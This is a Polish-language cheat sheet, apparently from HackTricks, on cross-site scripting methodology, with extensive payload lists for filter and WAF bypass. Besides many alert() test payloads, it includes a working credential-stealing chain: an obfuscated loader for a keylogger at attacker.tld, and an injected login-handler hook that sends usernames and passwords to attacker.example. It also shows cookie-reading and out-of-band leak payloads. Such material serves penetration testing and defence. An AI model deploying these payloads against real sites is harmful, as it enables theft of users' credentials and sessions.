XSS (Cross Site Scripting)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Methodology

  1. Sprawdź, czy dowolna wartość, którą kontrolujesz (parameters, path, headers?, cookies?) jest odbijana (reflected) w HTML lub używana przez kod JS.
  2. Znajdź kontekst, w którym jest odbijana/używana.
  3. Jeśli jest reflektowana
  4. Sprawdź, jakie symbole możesz użyć i w zależności od tego przygotuj payload:
  5. W surowym HTML:
  6. Czy możesz tworzyć nowe znaczniki HTML?
  7. Czy możesz użyć eventów lub atrybutów wspierających protokół javascript:?
  8. Czy możesz obejść zabezpieczenia?
  9. Czy zawartość HTML jest interpretowana przez jakiś silnik JS po stronie klienta (AngularJS, VueJS, Mavo…), który można wykorzystać za pomocą Client Side Template Injection.
  10. Jeśli nie możesz utworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać Dangling Markup - HTML scriptless injection?
  11. Wewnątrz tagu HTML:
  12. Czy możesz wydostać się do surowego kontekstu HTML?
  13. Czy możesz stworzyć nowe eventy/atrybuty wykonujące kod JS?
  14. Czy atrybut, w którym jesteś „uwięziony”, wspiera wykonywanie JS?
  15. Czy możesz obejść zabezpieczenia?
  16. Wewnątrz kodu JavaScript:
  17. Czy możesz uciec z tagu <script>?
  18. Czy możesz uciec z napisu (stringa) i wykonać inny kod JS?
  19. Czy twoje wejście znajduje się w template literals ````?
  20. Czy możesz obejść zabezpieczenia?
  21. Funkcja JavaScript jest wywoływana
  22. Możesz wskazać nazwę funkcji do wykonania. np.: ?callback=alert(1)
  23. Jeśli jest używane:
  24. Możesz wykorzystać DOM XSS, zwróć uwagę jak twoje wejście jest kontrolowane i czy twoje kontrolowane wejście jest używane przez jakiś sink.

Przy pracy nad złożonym XSS może Ci się przydać wiedza o:

Debugging Client Side JS

Reflected values

Aby skutecznie wykorzystać XSS, pierwszą rzeczą, którą musisz znaleźć, jest wartość kontrolowana przez Ciebie, która jest odbijana na stronie.

  • Intermediately reflected: Jeśli znajdziesz, że wartość parametru lub nawet ścieżka jest odbijana na stronie, możesz wykorzystać Reflected XSS.
  • Stored and reflected: Jeśli znajdziesz wartość kontrolowaną przez Ciebie, która jest zapisywana na serwerze i odbijana za każdym razem przy dostępie do strony, możesz wykorzystać Stored XSS.
  • Accessed via JS: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest dostępna przez JS, możesz wykorzystać DOM XSS.

Contexts

Przy próbie wykorzystania XSS, pierwsze co musisz wiedzieć to gdzie twoje wejście jest odbijane. W zależności od kontekstu będziesz w stanie wykonać dowolny kod JS na różne sposoby.

Raw HTML

Jeśli twoje wejście jest odbijane w surowym HTML strony, będziesz musiał nadużyć jakiegoś znacznika HTML, aby wykonać kod JS: <img , <iframe , <svg , <script … to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.
Pamiętaj też o Client Side Template Injection.

Inside HTML tags attribute

Jeśli twoje wejście jest odbijane wewnątrz wartości atrybutu znacznika, możesz spróbować:

  1. Uciec z atrybutu i z taga (wtedy będziesz w surowym HTML) i utworzyć nowy tag HTML do nadużycia: "><img [...]
  2. Jeśli możesz uciec z atrybutu, ale nie z taga (> jest enkodowane lub usuwane), w zależności od taga możesz stworzyć event, który wykona kod JS: " autofocus onfocus=alert(1) x="
  3. Jeśli nie możesz uciec z atrybutu (" jest enkodowane lub usuwane), to w zależności od którego atrybutu dotyczy odbicie oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł to nadużyć. Na przykład, jeśli kontrolujesz event taki jak onclick=, będziesz w stanie sprawić, że wykona on dowolny kod przy kliknięciu. Innym interesującym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript:, aby wykonać dowolny kod: href="javascript:alert(1)"
  4. Jeśli twoje wejście jest odbijane wewnątrz „nieeksploatowalnych tagów”, możesz spróbować sztuczki z accesskey, aby nadużyć podatność (będziesz potrzebował jakiejś formy inżynierii społecznej): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Strona logowania korporacyjnego SSO odbijała parametr OAuth service wewnątrz atrybutu href elementu <a id="forgot_btn" ...>. Mimo że < i > były HTML-enkodowane, podwójne cudzysłowy nie były, więc atakujący mógł zamknąć atrybut i ponownie użyć tego samego elementu do wstrzyknięcia handlerów typu " onfocus="payload" x=".

  1. Wstrzyknięcie handlera: Proste payloady jak onclick="print(1)" były blokowane, ale WAF inspekcjonował tylko pierwsze wyrażenie JavaScript w inline atrybutach. Wstawienie nieszkodliwego wyrażenia w nawiasach, a następnie średnika, pozwoliło uruchomić prawdziwy payload: onfocus="(history.length);malicious_code_here".
  2. Automatyczne wyzwolenie: Przeglądarki focusują dowolny element, którego id pasuje do fragmentu (fragment identifier), więc dopisanie #forgot_btn do URL-a exploitowego powoduje, że anchor zostanie sfokusowany przy załadowaniu strony i uruchomi handler bez potrzeby kliknięcia.
  3. Utrzymuj stub inline krótki: Cel miał już załadowane jQuery. Handler musiał jedynie zainicjować żądanie przez $.getScript(...), podczas gdy pełny keylogger był hostowany na serwerze atakującego.

Building strings without quotes

Pojedyncze cudzysłowy zwracane były URL-enkodowane, a escapowane podwójne cudzysłowy psuły atrybut, więc payload generował każdy string za pomocą String.fromCharCode. Funkcja pomocnicza ułatwia konwersję dowolnego URL-a na kody znaków przed wklejeniem go do atrybutu:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Otrzymany atrybut wyglądał tak:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Dlaczego to wykrada poświadczenia

Zewnętrzny skrypt (ładowany z hosta kontrolowanego przez atakującego lub Burp Collaborator) podpiął document.onkeypress, buforował naciśnięcia klawiszy i co sekundę wykonywał new Image().src = collaborator_url + keys. Ponieważ XSS uruchamia się tylko dla niezalogowanych użytkowników, wrażliwą akcją jest sam formularz logowania — atakujący keylogs nazwy użytkowników i hasła, nawet jeśli ofiara nigdy nie kliknie “Login”.

Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

W kodzie JavaScript

W tym przypadku twoje wejście jest odzwierciedlane pomiędzy <script> [...] </script> tagami strony HTML, wewnątrz pliku .js lub wewnątrz atrybutu używającego protokołu javascript::

  • Jeśli jest odzwierciedlane pomiędzy <script> [...] </script> tagami, nawet jeśli twoje wejście znajduje się w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć </script> i wydostać się z tego kontekstu. Działa to, ponieważ przeglądarka najpierw sparsuje tagi HTML i dopiero potem zawartość, dlatego nie zauważy, że wstrzyknięty tag </script> znajduje się wewnątrz kodu HTML.
  • Jeśli jest odzwierciedlane inside a JS string i ostatni trik nie działa, będziesz musiał exit string, execute swój kod i reconstruct kod JS (jeśli pojawi się jakikolwiek błąd, nie zostanie on wykonany:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Jeśli jest odzwierciedlane wewnątrz template literals możesz embed JS expressions używając składni ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode encode działa, by zapisać valid javascript code:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting odnosi się do możliwości zadeklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.
Sprawdź następującą stronę, aby uzyskać więcej informacji:

JS Hoisting

Javascript Function

Wiele stron ma endpoints, które przyjmują jako parametr nazwę funkcji do wykonania. Częstym przykładem spotykanym w praktyce jest coś w stylu: ?callback=callbackFunc.

Dobry sposób, żeby sprawdzić, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, to zmodyfikować wartość parametru (na przykład na ‘Vulnerable’) i spojrzeć w konsolę, czy pojawiają się błędy takie jak:

W przypadku gdy jest podatne, możesz być w stanie wywołać alert wysyłając wartość: ?callback=alert(1). Jednak bardzo często takie endpoints będą walidować zawartość, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]).

Jednak nawet z tym ograniczeniem wciąż możliwe jest wykonanie pewnych działań. Wynika to z faktu, że możesz użyć tych dozwolonych znaków, aby odwołać się do dowolnego elementu w DOM:

Kilka przydatnych funkcji do tego:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Możesz także spróbować wywołać bezpośrednio Javascript functions: obj.sales.delOrders.

Jednak zwykle endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM. other pages in the same origin będą miały more interesting DOM, które pozwolą wykonać więcej akcji.

Dlatego, aby abuse this vulnerability in a different DOM, opracowano eksploatację Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Istnieje JS code, który unsafely używa pewnych data controlled by an attacker, jak location.href. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.

DOM XSS

Universal XSS

Ten rodzaj XSS można znaleźć anywhere. Nie zależą one tylko od client exploitation aplikacji webowej, lecz od any context. Ten rodzaj arbitrary JavaScript execution może być nawet wykorzystany do uzyskania RCE, read arbitrary files na klientach i serwerach, i innych.
Kilka examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Uwaga: A HTML comment can be closed using****-->****or **--!>**

W tym przypadku, jeśli nie stosuje się black/whitelisting, możesz użyć payloads takich jak:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Przejdź do https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknij na Copy tags to clipboard. Następnie wyślij je wszystkie używając Burp intruder i sprawdź, czy któryś tags nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, które tags możesz użyć, możesz brute force all the events używając tych valid tags (na tej samej stronie kliknij na Copy events to clipboard i wykonaj tę samą procedurę co wcześniej).

Custom tags

Jeśli nie znalazłeś żadnego prawidłowego HTML tag, możesz spróbować create a custom tag i wykonać kod JS przy użyciu atrybutu onfocus. W XSS request musisz zakończyć URL znakiem #, aby strona focus on that object i execute kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Jeśli używana jest jakaś blacklist, możesz spróbować ją bypassować za pomocą kilku prostych sztuczek:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Więcej tiny XSS dla różnych środowisk payload można znaleźć tutaj i tutaj.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Ostatni używa 2 znaków unicode, które rozszerzają się do 5: telsr
Więcej takich znaków można znaleźć here.
Aby sprawdzić, na jakie znaki są rozkładane, zobacz here.

Click XSS - Clickjacking

Jeżeli, aby exploit the vulnerability, potrzebujesz, żeby użytkownik kliknął link lub formularz z wstępnie wypełnionymi danymi, możesz spróbować abuse Clickjacking (jeśli strona jest podatna).

Impossible - Dangling Markup

Jeśli uważasz, że niemożliwe jest stworzenie tagu HTML z atrybutem, aby wykonać kod JS, powinieneś sprawdzić Danglig Markup ponieważ możesz exploit podatność bez wykonywania JS.

Injecting inside HTML tag

Wewnątrz tagu/ucieczka z wartości atrybutu

Jeśli znajdujesz się wewnątrz tagu HTML, pierwszą rzeczą, którą możesz spróbować jest uciec z tagu i użyć niektórych technik wymienionych w previous section aby wykonać kod JS.
Jeśli nie możesz uciec z tagu, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payload takiego jak (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Zdarzenia stylu

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

W atrybucie

Nawet jeśli nie możesz uciec z atrybutu (" jest kodowany lub usuwany), w zależności od którego atrybutu twoja wartość jest odzwierciedlana oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz w stanie to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick= będziesz mógł spowodować wykonanie dowolnego kodu po kliknięciu.
Innym ciekawym przykładem jest atrybut href, w którym możesz użyć protokołu javascript: do wykonania dowolnego kodu: href="javascript:alert(1)"

Ominięcie wewnątrz eventu używając kodowania HTML/URL

Znaki zakodowane w HTML wewnątrz wartości atrybutów tagów HTML są dekodowane podczas wykonywania. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Zauważ, że dowolny rodzaj kodowania HTML jest akceptowany:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Zauważ, że URL encode również zadziała:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass wewnątrz eventu używając Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specjalne protokoły w atrybucie

Tam możesz użyć protokołów javascript: lub data: w niektórych miejscach, aby wykonać dowolny kod JS. Niektóre będą wymagać interakcji użytkownika, inne nie.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Miejsca, w których możesz wstrzykiwać te protokoły

Ogólnie protokół javascript: może być użyty w dowolnym tagu, który akceptuje atrybut href oraz w większości tagów, które akceptują atrybut src (ale nie <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Other obfuscation tricks

W tym przypadku HTML encoding i Unicode encoding trick z poprzedniej sekcji również działają, ponieważ znajdujesz się wewnątrz atrybutu.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Co więcej, jest jeszcze jedna fajna sztuczka na takie przypadki: Nawet jeśli twoje wejście wewnątrz javascript:... jest kodowane w URL, zostanie zdekodowane przed wykonaniem. Jeśli więc musisz wyjść z łańcucha znaków używając pojedynczego apostrofu i widzisz, że jest on kodowany w URL, pamiętaj, że to nie ma znaczenia, zostanie zinterpretowany jako pojedynczy apostrof w czasie wykonywania.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Zwróć uwagę, że jeśli spróbujesz użyć obu URLencode + HTMLencode w dowolnej kolejności, aby zakodować payload, to nie zadziała, ale możesz je mieszać w payload.

Używanie Hex i Octal encode z javascript:

Możesz użyć Hex i Octal encode wewnątrz atrybutu src elementu iframe (przynajmniej), aby zadeklarować HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:

Reverse Tab Nabbing

on Event Handlers Bypass

Przede wszystkim sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) for useful “on” event handlers.
Jeśli jakiś blacklist uniemożliwia utworzenie tych event handlerów, możesz spróbować następujących obejść:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Z here wynika, że teraz można nadużyć hidden inputs za pomocą:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

A w meta tagach:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Z here: Możesz wykonać XSS payload inside a hidden attribute, pod warunkiem, że potrafisz przekonać victim do naciśnięcia kombinacji klawiszy. W Firefox na Windows/Linux kombinacja klawiszy to ALT+SHIFT+X, a na OS X to CTRL+ALT+X. Możesz określić inną kombinację klawiszy, używając innego klawisza w access key attribute. Oto wektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload będzie mniej więcej taki: " accesskey="x" onclick="alert(1)" x="

Omijanie czarnej listy

Kilka sztuczek z użyciem różnych kodowań zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:

  • HTML encoding (HTML tags)
  • Unicode encoding (może być prawidłowym kodem JS): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses dla tagów i atrybutów HTML

Przeczytaj Omijania czarnej listy z poprzedniej sekcji.

Bypasses dla kodu JavaScript

Przeczytaj JavaScript bypass blacklist z następnej sekcji.

CSS-Gadgets

Jeśli znalazłeś XSS w bardzo małej części strony, która wymaga jakiejś interakcji (np. mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń, którą ten element zajmuje, żeby zmaksymalizować prawdopodobieństwo wywołania linku.

Na przykład możesz dodać styl do elementu, np.: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ale jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład

.test {display:block; color: blue; width: 100%}

oraz

#someid {top: 0; font-family: Tahoma;}

Teraz możesz zmodyfikować nasz link i doprowadzić go do postaci

<a href=“” id=someid class=test onclick=alert() a=“”>

Ten trik pochodzi z https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Wstrzykiwanie wewnątrz kodu JavaScript

W takich przypadkach twoje input zostanie odzwierciedlone w kodzie JS w pliku .js lub pomiędzy tagami <script>...</script>, albo w zdarzeniach HTML, które mogą wykonać kod JS, lub w atrybutach obsługujących protokół javascript:.

Escaping <script> tag

Jeśli twój kod jest wstawiony w <script> [...] var input = 'reflected data' [...] </script>, możesz łatwo przerwać zamknięcie tagu <script>:

</script><img src=1 onerror=alert(document.domain)>

Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego apostrofu. Dzieje się tak, ponieważ parsowanie HTML jest wykonywane najpierw przez przeglądarkę, co obejmuje identyfikację elementów strony, w tym bloków

Wewnątrz kodu JS

Jeśli <> są sanitizowane, nadal możesz escape the string w miejscu, gdzie Twoje wejście jest located, i execute arbitrary JS. Ważne jest, aby fix JS syntax, ponieważ jeśli wystąpią jakiekolwiek błędy, JS code nie zostanie wykonany:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Gdy dane wejściowe użytkownika trafiają do ujętego w cudzysłów ciągu JavaScript (np. echo po stronie serwera do skryptu osadzonego), możesz zakończyć string, inject code i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w ciągu JS:

?param=test";<INJECTION>;a="

Literały szablonowe ``

Aby tworzyć stringi, oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje też backticks ``.
Są one nazywane literałami szablonowymi, ponieważ pozwalają na osadzanie wyrażeń JS przy użyciu składni ${ ... }.
Dlatego, jeśli Twoje wejście jest odbijane wewnątrz ciągu JS używającego backticks, możesz wykorzystać składnię ${ ... }, aby wykonać dowolny kod JS:

To można wykorzystać używając:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Wykonywanie zakodowanego kodu

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Payloady do dostarczenia z eval(atob()) i niuanse zasięgu

Aby skrócić adresy URL i obejść proste filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą eval(atob('...')). Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak alert, eval lub atob, użyj identyfikatorów Unicode-escaped, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące ciągi znaków:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Ważny niuans dotyczący zakresu: const/let zadeklarowane wewnątrz eval() mają zakres blokowy i NIE tworzą globali; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykniętego elementu <script>, aby zdefiniować globalne, non-rebindable hooks, gdy to konieczne (np. to hijack a form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referencja: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Wykonanie JS zakodowanego w Unicode

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists techniki

Stringi

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Specjalne escapes

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zamiana spacji w kodzie JS

<TAB>
/**/

JavaScript comments (z JavaScript Comments triku)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nowe linie (z JavaScript new line triku)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Białe znaki w JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript wewnątrz komentarza

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez nawiasów

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
